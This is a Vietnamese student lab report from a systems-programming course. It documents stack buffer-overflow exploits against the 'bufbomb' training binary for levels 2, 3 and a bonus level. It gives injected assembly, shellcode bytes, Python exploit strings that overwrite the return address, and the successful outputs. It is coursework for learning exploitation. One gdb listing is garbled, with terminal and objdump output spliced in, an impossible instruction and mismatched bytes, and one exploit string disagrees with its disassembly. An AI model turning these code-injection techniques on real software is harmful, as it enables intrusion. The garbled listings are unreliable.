

# BÁO CÁO THỰC HÀNH

Môn học: **Lập trình hệ thống (NT209)**

## Lab 5 – Buffer overflow (Phần 2)

GVHD: Đỗ Thị Thu Hiền

### 1. THÔNG TIN CHUNG:

(Liệt kê tất cả các thành viên trong nhóm)

Lớp: NT209.N21.ANTN.1

STT	Họ và tên	MSSV	Email
1	Nguyễn Văn Khang Kim	21520314	
2	Lưu Gia Huy	21520916	

### 2. NỘI DUNG THỰC HIỆN:<sup>1</sup>

STT	Công việc	Kết quả tự đánh giá
1	Level 2	10/10
2	Level 3	10/10
	Bonus (level 3)	10/10

Phần bên dưới của báo cáo này là tài liệu báo cáo chi tiết của nhóm thực hiện.

---

<sup>1</sup> Ghi nội dung công việc, yêu cầu trong bài Thực hành

## BÁO CÁO CHI TIẾT

### 1. Level 2

a. Xác định các byte code cần truyền?

// Cách phân tích để xác định các thông tin cần thiết để viết mã

Theo yêu cầu của hàm bang thì giá trị của biến `global_value` = cookie mới được coi là gọi hàm thành công.

Vì vậy ta thay đổi giá trị của `global_value` thành giá trị của cookie.

```
.bss:0814C160 global_value dd ?
.bss:0814C160
.bss:0814C164 public gets_cnt
```

```
khangkim@khangkim-VirtualBox:~/Downloads$ ./bufbomb -u 09160314
Userid: 09160314
Cookie: 0x3f5a1fab
Type string:
```

`Global_value` có địa chỉ là `0x0814C160`.

Cookie có giá trị là `0x3f5a1fab`.

Sau đó ta sẽ gọi hàm bang bằng cách push địa chỉ của hàm bang và gọi lệnh `ret`.

Choose a name		
Name	Address	Public
bang	08146CF9	P
test	08146D54	P

Hàm bang có địa chỉ là `0x08146CF9`.

// viết mã assembly và các byte code kết quả?

```
1 movl $0x3f5a1fab, 0x0814c160
2 push $0x08146cf9
3 ret
4
```

b. Debug xác định địa chỉ trả về mới

// Các bước debug, kết quả địa chỉ trả về tìm được?

Sử dụng gdb với bofbomb, đặt breakpoint tại hàm getbuf và chạy chương trình( lưu ý vẫn cần truyền tham số userid như khi thực thi bình thường).

```
(gdb) break getbuf
Breakpoint 1 at 0x814743e
(gdb) run -u 09160314
Starting program: /home/khangkim/Downloads/bufbomb -u 09160314
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Userid: 09160314
Cookie: 0x3f5a1fab

Breakpoint 1, 0x0814743e in getbuf ()
```

Xem mã assembly của getbuf và giá trị của ebp(khi đứng ở lệnh có ký hiệu =>)

```
(gdb) disas getbuf
Dump of assembler code for function getbuf:
0x0814743e <+0>:    push    %ebp
0x08147439 <+1>:    mov     %esp,%ebp
0x08147438 <+2>:    sub     $0x3f,%esp
=> 0x0814743e <+6>:    cunh    $0xc,%esp
khangkim@khangkim-VirtualBox:~/Downloads$ gcc -m32 -c input.s -o input.o
khangkim@khangkim-VirtualBox:~/Downloads$ objdump -d input.o
input.o:      file format elf32-i386

Disassembly of section .text:
00000000 <.text>:
0:  c7 05 60 c1 14 08 ab    movl    $0x3f5a1fab,0x814c160
7:  1f 5a 3f                sub     $0x3f,%esp
a:  68 f9 6c 14 08          push    $0x8146cf9
f:  c3                     ret
End of assembler dump.
(gdb) khangkim@khangkim-VirtualBox:~/Downloads$
ebp          0x55683020          0x55683020 <_reserved+1036320>
(gdb) print/x $ebp-48
$1 = 0x55682ff0
(gdb)
```

// Nội dung chuỗi exploit

```
1 #lv2
2 str = '\xc7\x05\x60\xc1\x14\x08\xab\x1f\x5a\x3f\x68\xf9\x6c\x14\x08\xc3'
3 str += '\xff'*36
4 str += '\xf0\x2f\x68\x55'
5 print(str)
```

d. Kết quả

// Lệnh thực thi? Kết quả?

```
khangkim@khangkim-VirtualBox:~/Downloads$ python2 ./input.py | ./bufbomb -u 09160314
Userid: 09160314
Cookie: 0x3f5a1fab
Type string:Bang!: You set global_value to 0x3f5a1fab
VALID
NICE JOB!
khangkim@khangkim-VirtualBox:~/Downloads$
```

### Level 3

a. Giá trị nào cần được khôi phục của hàm mẹ? Phương pháp khôi phục?

// Thông tin gì? Giá trị cần khôi phục là bao nhiêu? (Cách xác định)

Giá trị cần được khôi phục của hàm mẹ là ebp.

```
End of assembler dump.
(gdb) info registers $ebp
ebp                0x55683040                0x55683040 <_reserved+1036352>
(gdb)
```

Khi debug ta tìm được giá trị ebp của hàm mẹ là 0x55683040

// Trình bày phương pháp khôi phục (ghi đè/dùng code)?

Để khôi phục ebp của hàm mẹ, ta dùng code mov giá trị 0x55683040 vào thanh ghi ebp.

b. Xác định các byte code cần truyền?

// Cách phân tích để xác định các thông tin cần thiết để viết mã

Vì giá trị trả về thường được lưu ở thanh ghi eax nên ta sẽ mov giá trị cookie=0x3f5a1fab vào thanh ghi eax.

Sau đó push địa chỉ trả về của hàm getbuf và gọi lệnh ret để quay về hàm mẹ.

```
.text:08146D62      call     getbuf
.text:08146D67      mov     [ebp+var_C], eax
.text:08146D6A      call     uniqueval
.text:08146D6F      mov     edx, eax
```

Địa chỉ trả về là địa chỉ của câu lệnh tiếp theo sau lệnh call getbuf đó là 0x8146d67.

// Viết mã assembly và các byte code kết quả?

```
1 movl $0x55683040,%ebp
2 movl $0x3f5a1fab,%eax
3 push $0x8146d67
4 ret
5
```

c. Dựng chuỗi exploit

// Đặt các nội dung (byte code, địa chỉ trả về,...) ở vị trí nào trong chuỗi?

```
khangkim@khangkim-VirtualBox:~/Downloads$ gcc -m32 -c input.s -o input.o
khangkim@khangkim-VirtualBox:~/Downloads$ objdump -d input.o

input.o:      file format elf32-i386

Disassembly of section .text:

00000000 <.text>:
 0:  bd 40 30 68 55      mov     $0x55683040,%ebp
 5:  b8 ab 1f 5a 3f      mov     $0x3f5a1fab,%eax
 a:  68 67 d6 14 08      push    $0x8146d67
 f:  c3                  ret
```

// Nội dung chuỗi exploit

```
7 #lv3
8 str = '\xbd\x40\x30\x68\x55\xb8\xab\x1f\x5a\x3f\x68\x67\x6d\x14\x08\xc3'
9 str += '\xff'*36
10 str += '\xf0\x2f\x68\x55'
11 print(str)
```

d. Kết quả

// Lệnh thực thi? Kết quả?

```
khangkim@khangkim-VirtualBox:~/Downloads$ python2 ./input.py | ./bufbomb -u 0916
0314
Userid: 09160314
Cookie: 0x3f5a1fab
Type string:Boom!: getbuf returned 0x3f5a1fab
VALID
NICE JOB!
khangkim@khangkim-VirtualBox:~/Downloads$
```

**Bonus (?) (nếu có)**

// Phương pháp thực hiện



Ta thấy khi ghi đè thì sau khi thực thi xong hàm getbuf giá trị của thanh ghi ebp sẽ bằng giá trị tại vị trí ebp(of getbuf) = 0xffffffff (đối với những ví dụ trên). Còn thanh ghi esp sẽ trở đến vị trí ebp(of getbuf) + 8. Nói cách khác là esp lúc này sẽ khôi phục lại thành esp của hàm test.

```
.text:08146D54 ; __unwind {
.text:08146D54      push     ebp
.text:08146D55      mov      ebp, esp
.text:08146D57      sub      esp, 18h
.text:08146D5A      call     uniqueval
.text:08146D5F      mov      [ebp+var_10], eax
.text:08146D62      call     getbuf
.text:08146D67      mov      [ebp+var_C], eax
.text:08146D6A      call     uniqueval
.text:08146D6F      mov      edx, eax
.text:08146D71      mov      eax, [ebp+var_10]
.text:08146D74      cmp      edx, eax
.text:08146D76      jz       short loc_8146D8A
.text:08146D78      sub      esp, 0Ch
.text:08146D7B      push     offset aSabotagedTheSt ; "Sabotaged!: the stack has been corrupte"...
.text:08146D80      call     _puts
.text:08146D85      add      esp, 10h
.text:08146D88      jmp      short loc_8146DCB
```

Theo như câu lệnh 2 và 3 là mov và sub thì ta có thể thấy thanh ghi ebp(of test) có giá trị bằng esp(of test) + 0x18.

Vậy ta có thể tính được  $ebp(of\ test) = esp + 0x18$ .

Mã assembly.

```
1 movl %esp,%ebp
2 add $0x18,%ebp
3 movl $0x3f5a1fab, %eax
4 push $0x8146d67
5 ret
6
```

Chuỗi exploit.

```
#lv3_bonus
str = '\x89\xe5\x83\xc5\x18\xb8\xab\x1f\x5a\x3f\x68\x67\x6d\x14\x08\xc3'
str += '\xff'*36
str += '\xf0\x2f\x68\x55'
print(str)
```

// Kết quả

```
khangkim@khangkim-VirtualBox:~/Downloads$ python2 ./input.py | ./bufbomb -u 0916
0314
Userid: 09160314
Cookie: 0x3f5a1fab
Type string:Boom!: getbuf returned 0x3f5a1fab
VALID
NICE JOB!
khangkim@khangkim-VirtualBox:~/Downloads$
```

## YÊU CẦU CHUNG

### Báo cáo:

- File **.PDF**.
- Đặt tên theo định dạng: **[Mã lớp]-Lab6\_NhomX\_MSSV1-MSSV2.pdf** (trong đó X là số thứ tự nhóm, MSSV gồm đầy đủ MSSV của tất cả các thành viên thực hiện bài thực hành).

Ví dụ: *[NT209.N21.ANTN.1]-Lab6\_Nhom2\_21520001-21520013.pdf*.

- Nộp file báo cáo trên theo thời gian đã thống nhất tại [courses.uit.edu.vn](https://courses.uit.edu.vn).

### Đánh giá:

- Hoàn thành tốt yêu cầu được giao.
- Có nội dung mở rộng, ứng dụng.

*Bài sao chép, trễ, ... sẽ được xử lý tùy mức độ vi phạm.*

**HẾT**